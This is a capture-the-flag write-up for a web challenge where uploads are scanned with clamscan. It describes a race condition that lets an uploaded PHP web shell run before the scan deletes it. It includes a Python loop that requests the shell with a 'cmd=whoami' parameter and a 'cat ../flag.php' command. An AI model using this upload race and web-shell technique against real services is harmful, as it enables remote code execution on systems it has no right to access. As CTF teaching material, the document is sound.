Tags: expl web 

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# V1RUSCHECK0R3000

We are given a website where we are able to look into the source code. After some investigation, I found out that the site lets you upload a file not bigger than 100 bytes, scan it using clamscan and then tell you if the file is a virus or not.

After taking a closer look at the code, I saw this function:

```php
function hasVirus($file_path) {
# Check for Virus
$argument = escapeshellarg($file_path);
exec("clamscan $argument", $output, $retval);

if ($retval != 0) {
return true;
}
return false;
}
```

I thought that maybe escapeshellarg is the exploitable part but after quite some time researching I discarded this approach. After that, I tried running clamscan myself to see if there are any possible arguments, that would give me something useful but also no luck there.

While looking at the manual though, I got the idea to upload a shell and then copy it into a directory in which it won't get deleted but that will obviously not work as there is no bypass for escapeshellarg. While trying clamscan I noticed that it doesn't work instantly...

Then I remembered a challenge from another CTF in which I had a small timeframe to upload a shell before it gets deleted... and after some trying around I got RCE!!

To make fast enough requests, I used this python code:

```py
import requests

while True:
r = requests.get("http://viruscheckor.rumble.host/uploads/shell.php?cmd=whoami")
if not "The requested URL /uploads/shell.php was not found on this server." in r.text:
print(r.text)
```

With the basic php shell:

```php

```

And after searching for a bit I finally found the flag: `cat ../flag.php`

Original writeup (https://github.com/xXLeoXxOne/writeups/blob/main/CyberSecurityRumble%202022/V1RUSCHECK0R3000.md).